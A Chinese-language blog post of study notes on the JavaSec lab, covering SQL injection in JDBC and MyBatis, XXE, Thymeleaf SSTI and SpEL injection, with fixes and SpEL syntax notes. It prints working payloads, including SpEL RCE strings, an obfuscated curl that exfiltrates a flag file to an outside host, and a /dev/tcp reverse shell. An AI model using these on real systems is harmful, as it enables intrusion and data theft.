JavaSec-SpEL&SSTI&XXE&JDBC&MyBatis

Fc04dB Lv4

# JavaSec 靶场

image-20240910222212714

image-20240910224206076

# SQL 注入

# JDBC

1、采用 Statement 方法拼接 SQL 语句

2、PrepareStatement 会对 SQL 语句进行预编译,但如果直接采取拼接的方式构造

SQL,此时进行预编译也无用。

3、JDBCTemplate 是 Spring 对 JDBC 的封装,如果使用拼接语句便会产生注入

安全写法:SQL 语句占位符(?) + PrepareStatement 预编译

image-20240910224723015

# Mybatis

MyBatis 支持两种参数符号,一种是 #,另一种是,#使用预编译,使用拼接 SQL。

Mybatis 模糊查询: Select * from users where username like ‘%#{username}%’

在这种情况下使用 # 程序会报错,把 # 号改成 $ 可以解决

但是如果 java 代码层面没有对用户输入的内容做处理,那么将会产生 SQL 注入漏洞。

正确写法: Select * from users where username like concat (’%’,#{username}, ‘%’)

Like 注入

模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%${q}%' 从而造成注入.

POC: xxx%’ union select database(),user(),@@version,4,5 – -

image-20240910225252356

order by 注入

由于使用 #{} 会将对象转成字符串,形成 order by “user” desc 造成错误,因此很多研发会采用 ${} 来解决,从而造成注入.

POC: id and (updatexml(1,concat(0x7e,(select user())),0))-- -

image-20240910225841747

in 注入

in 之后多个 id 查询时使用 # 同样会报错,从而造成注入.

POC: 1,2,3) and (updatexml(1,concat(0x7e,(select user())),0))-- -

# XXE

about XML - Fc04dB’s BLOG

XML 外部实体注入,当开发人员配置其 XML 解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。

XMLReader

image-20240910234213934

DocumentBuilder

image-20240910234908155

SAXReader

image-20240910235310714

Unmarshaller

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* PoC
* Content-Type: application/xml
* <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///etc/hosts">]><student><name>&out;</name></student>
*/
public String Unmarshaller(@RequestBody String content) {
try {
JAXBContext context = JAXBContext.newInstance(Student.class);
Unmarshaller unmarshaller = context.createUnmarshaller();

XMLInputFactory xif = XMLInputFactory.newFactory();
// 修复: 禁用外部实体
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));

Object o = unmarshaller.unmarshal(xsr);
return o.toString();

} catch (Exception e) {
e.printStackTrace();
}

SAXBuilder

image-20240910235402758

# SSTI

SSTI - Fc04dB’s BLOG

thymeleaf 模版注入

image-20240911002358390

JAVA-SpringBoot&MyBatis&Thymeleaf - Fc04dB’s BLOG

# SpEL

Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。

SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。

image-20240911003759026

一、表达式: 表达式是表达式语言的核心,所以表达式语言都是围绕表达式进行的,从我们角度来看是 “干什么”;

二、解析器: 用于将字符串表达式解析为表达式对象,从我们角度来看是 “谁来干”;

三、上下文: 表达式对象执行的环境,该环境可能定义变量、定义自定义函数、提供类型转换等等,从我们角度看是 “在哪干”;

四、根对象及活动上下文对象: 根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象,从我们角度看是 “对谁干”。

img

1
2
3
4
5
6
7
1.首先定义表达式:“1+2”;
2.定义解析器ExpressionParser实现,SpEL提供默认实现SpelExpressionParser;
2.1.SpelExpressionParser解析器内部使用Tokenizer类进行词法分析,即把字符串流分析为记号流,记号在SpEL使用Token类来表示;
2.2.有了记号流后,解析器便可根据记号流生成内部抽象语法树;在SpEL中语法树节点由SpelNode接口实现代表:如OpPlus表示加操作节点、IntLiteral表示int型字面量节点;使用SpelNodel实现组成了抽象语法树;
2.3.对外提供Expression接口来简化表示抽象语法树,从而隐藏内部实现细节,并提供getValue简单方法用于获取表达式值;SpEL提供默认实现为SpelExpression;
3.定义表达式上下文对象(可选),SpEL使用EvaluationContext接口表示上下文对象,用于设置根对象、自定义变量、自定义函数、类型转换器等,SpEL提供默认实现StandardEvaluationContext;
4.使用表达式对象根据上下文对象(可选)求值(调用表达式对象的getValue方法)获得结果。

玩转 Spring 中强大的 spel 表达式!- 腾讯云开发者社区 - 腾讯云 (tencent.com)

[Java 安全] Spring SPEL 注入总结 & 回显技术_spring spel 表达式注入 - CSDN 博客

注入点 (payload):

1
2
3
ExpressionParser parser = new SpelExpressionParser(); //创建spel解析器
Expression exp = parser.parseExpression(payload); //解析payload为表达式
exp.getValue(); //获取表达式的值(代码执行在这一步发生)

1. 利用 ProcessBuilder RCE

1
new ProcessBuilder("cmd","/c calc").start()

2. 利用 Runtime RCE

1
T(Runtime).getRuntime().exec("calc")

3. 利用 ScriptEngine RCE

1
new javax.script.ScriptEngineManager().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc');")

4. 利用 URLClassLoader 远程加载恶意类
在 vps 上托管恶意类,然后注入

1
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://ip:prot/Exp.jar")}).loadClass("Exp").getConstructors

[Java 安全] Spring SPEL 注入总结 & 回显技术_spring spel 表达式注入 - CSDN 博客

由浅入深 SpEL 表达式注入漏洞 - Ruilin (rui0.cn)

SpEL 支持以下功能。

  • Literal expressions
  • Boolean and relational operators
  • Regular expressions
  • Class expressions
  • Accessing properties, arrays, lists, maps
  • Method invocation
  • Relational operators
  • Assignment
  • Calling constructors
  • Bean references
  • Array construction
  • Inline lists
  • Ternary operator
  • Variables
  • User defined functions
  • Collection projection
  • Collection selection
  • Templated expressions

# .SpEL 语法

SpEL 使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL 表达式,我们可以在其中使用运算符,变量以及引用 bean,属性和方法如:

引用其他对象: #{car}
引用其他对象的属性: #{car.brand}
调用其它方法,还可以链式操作: #{car.toString()}

其中属性名称引用还可以用 $ 符号 如: ${someProperty}
除此以外在 SpEL 中,使用 T() 运算符会调用类作用域的方法和常量。例如,在 SpEL 中使用 Java 的 Math 类,我们可以像下面的示例这样使用 T() 运算符:

#

T() 运算符的结果会返回一个 java.lang.Math 类对象。

Class expressions
1. 类类型表达式
SpEL 中可以使用特定的 Java 类型,经常用来访问 Java 类型中的静态属性或静态方法,需要用 T() 操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL 内置了 java.lang 包下的类声明,也就是说 java.lang.String 可以通过 T(String) 访问,而不需要使用全限定名。
因此我们通过 T() 调用一个类的静态方法,它将返回一个 Class Object ,然后再调用相应的方法或属性:
如:

1
2
3
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"open /Applications/Calculator.app\")");
Object value = exp.getValue();

2. 类实例化
使用 new 可以直接在 SpEL 中创建实例,需要创建实例的类要通过全限定名进行访问。

1
2
3
4
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("new java.util.Date()");
Date value = (Date) exp.getValue();
System.out.println(value);

Method invocation
方法使用典型的 Java 编程语法来调用。

1
2
3
4
5
// string literal, evaluates to "bc"
String c = parser.parseExpression("'abc'.substring(2, 3)").getValue(String.class);

// evaluates to true
boolean isMember = parser.parseExpression("isMember('Mihajlo Pupin')").getValue(societyContext,Boolean.class);

Calling constructors
可以使用 new 调用构造函数。除了基元类型和字符串(其中可以使用 int、float 等)之外,所有的类都应该使用完全限定的类名。

1
2
3
4
5
Inventor einstein = 
p.parseExpression("new org.spring.samples.spel.inventor.Inventor('Albert Einstein','German')").getValue(Inventor.class);

//create new inventor instance within add method of List
p.parseExpression("Members.add(new org.spring.samples.spel.inventor.Inventor('Albert Einstein', 'German'))").getValue(societyContext);

Bean references
如果解析上下文已经配置,则可以使用 @ 符号从表达式中查找 bean。

1
2
3
4
5
6
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new MyBeanResolver());

// This will end up calling resolve(context,"foo") on MyBeanResolver during evaluation
Object bean = parser.parseExpression("@foo").getValue(context);

Variables
变量定义通过 EvaluationContext 接口的 setVariable(variableName, value) 方法定义;在表达式中使用 #variableName 引用;除了引用自定义变量,SpEL 还允许引用根对象及当前上下文对象,使用 #root 引用根对象,使用 #this 引用当前上下文对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("rui0");
context.setVariable("variable", "ruilin");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);

String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);
---------out------------
ruilin
rui0
rui0

在 SpEL 中比较常见的用途是针对一个特定的对象实例 (称为 root object) 提供被解析的表达式字符串,当我们把 contextroot object 设置为一个对象时,我们在取的时候可以省略 root 对象这个前缀了。如下:
首先定义一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class A {
String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public A(String name) {
this.name = name;
}
}

设置 root object 后 SpEL 执行以及结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
A a=new A("ruilin");
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("name");
EvaluationContext context = new StandardEvaluationContext(a);
String name = (String) exp.getValue(context);
System.out.println(name);
exp.setValue(context,"ruilin setValue");
name = (String) exp.getValue(context);
System.out.println(name);
System.out.println(a.getName());
---------out------------
ruilin
ruilin setValue
ruilin setValue

这里在执行表达式时,SpEL 会在内部使用反射从根对象中获取 / 设置属性的值。

User defined functions
用户可以在 SpEL 注册自定义的方法,将该方法注册到 StandardEvaluationContext 中的 registerFunction(String name, Method m) 方法。
如:
我们通过 JAVA 提供的接口实现字符串反转的方法。

1
2
3
4
5
6
7
8
9
10
public abstract class StringUtils {

public static String reverseString(String input) {
StringBuilder backwards = new StringBuilder();
for (int i = 0; i < input.length(); i++)
backwards.append(input.charAt(input.length() - 1 - i));
}
return backwards.toString();
}
}

我们可以通过如下代码将方法注册到 StandardEvaluationContext 并且来使用它

1
2
3
4
5
6
7
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.registerFunction("reverseString",
StringUtils.class.getDeclaredMethod("reverseString",
new Class[] { String.class }));
String helloWorldReversed =
parser.parseExpression("#reverseString('hello')").getValue(context, String.class);

Templated expressions
表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用 #{} 作为分隔符。
如:

1
2
3
4
String randomPhrase = parser.parseExpression(
"random number is #{T(java.lang.Math).random()}",
new TemplateParserContext()).getValue(String.class);
//evaluates to "random number is 0.703101106101103120010"

该字符串是通过连接文字”random number is” 与 计算表达式的 #{} 定界符获取的结果,在此情况下的结果 中调用一个随机 () 方法。第二个参数的方法 parseExpression() 是类型 ParserContext 的。在 ParserContext 接口用于影响如何 表达被解析,以便支持所述表达模板的功能。的 TemplateParserContext 的定义如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class TemplateParserContext implements ParserContext {

public String getExpressionPrefix() {
return "#{";
}

public String getExpressionSuffix() {
return "}";
}

public boolean isTemplate() {
return true;
}
}

# SpEL 导致的任意命令执行

从上方功能的类类型表达式示例中,我们可以看到成功执行了系统的命令,而这也就是整个 SpEL 安全中造成 RCE 漏洞的区域。因为在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext ,而它包含了 SpEL 的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。

其中容易造成漏洞的两个位置是
1. 针对一个特定的对象实例提供被解析的表达式字符串
如之前用法示例中 Variables 所介绍,可能造成指定属性名被构造成恶意代码
2. 双重 EL 表达式评估

常用 payload

1
2
3
4
5
${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

1. 利用反射构造

1
2
3
4
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
.getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
.getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),
new String[]{"/bin/bash","-c","curl fg5hme.ceye.io/`cat flag_j4v4_chun|base64|tr '\n' '-'`"})}

2. 利用 ScriptEngineManager 构造

1
2
3
#{T(javax.script.ScriptEngineManager).newInstance()
.getEngineByName("nashorn")
.eval("s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='ex"+"ec 5<>/dev/tcp/1.2.3.4/2333;cat <&5 | while read line; do $line 2>&5 >&5; done';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")}
  • Title: JavaSec-SpEL&SSTI&XXE&JDBC&MyBatis
  • Author: Fc04dB
  • Created at : 2024-09-10 21:03:29
  • Updated at : 2024-09-12 16:37:19
  • Link: https://redefine.ohevan.com/2024/09/10/JavaSec-SPEL-SSTI-XXE-JDBC-MyBatis/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
JavaSec-SpEL&SSTI&XXE&JDBC&MyBatis